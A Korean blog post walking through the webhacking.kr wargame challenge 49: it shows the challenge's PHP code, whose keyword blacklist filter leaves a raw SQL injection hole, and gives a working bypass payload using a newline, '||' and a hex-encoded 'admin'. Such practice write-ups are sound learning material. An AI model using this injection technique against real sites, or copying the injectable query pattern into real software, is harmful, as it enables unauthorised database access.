티스토리 뷰

webhacking.kr 49번 문제 : sql injection


 

문제 첫 페이지 화면


1 : koang

2 : zzibong


이렇게 출력이 된다.


옛날 미니홈피를 들어가보니 이 문제를 풀었던게 아닌가!!

하지만 기억이 하나도 나질 않아서.. 다시 풀었다..


소스를 보니 다음과 같이 있었다

<?
if(time()<1258110000) exit();

if(
$_GET[lv])
{
if(
eregi("union",$_GET[lv])) exit();
if(
eregi("from",$_GET[lv])) exit();
if(
eregi("select",$_GET[lv])) exit();
if(
eregi("or",$_GET[lv])) exit();
if(
eregi("and",$_GET[lv])) exit();
if(
eregi("\(",$_GET[lv])) exit();
if(
eregi("\)",$_GET[lv])) exit();
if(
eregi("limit",$_GET[lv])) exit();
if(
eregi(",",$_GET[lv])) exit();
if(
eregi("/",$_GET[lv])) exit();
if(
eregi("by",$_GET[lv])) exit();
if(
eregi("desc",$_GET[lv])) exit();
if(
eregi("asc",$_GET[lv])) exit();
if(
eregi("cash",$_GET[lv])) exit();
if(
eregi(" ",$_GET[lv])) exit();
if(
eregi("%",$_GET[lv])) exit();
if(
eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from zmail_member where lv=$_GET[lv]"));

echo(
$q[0]);
if(
$q[0]=="admin") @solve();

}
?>


결국엔 admin 값을 추출하라는 것임


lv 값을 거짓으로 처리해버리고 id 가 admin 을 가져오면 된다.


해킹에 관심을 두고 있다면 프로그래밍 역시 할 줄 알것이라고 생각하므로!


&& || 이런 기호들도 알것이라고 생각한다.


그리고 admin 의 값을 Hex 값으로 넘겨줘야 한다. 

%를 막아놨기 때문에 아스키코드를 사용할수 없다.


자 그러면 나머지는 스스로 풀도록 해보자

url?lv=4%0a||id=0x61646d696e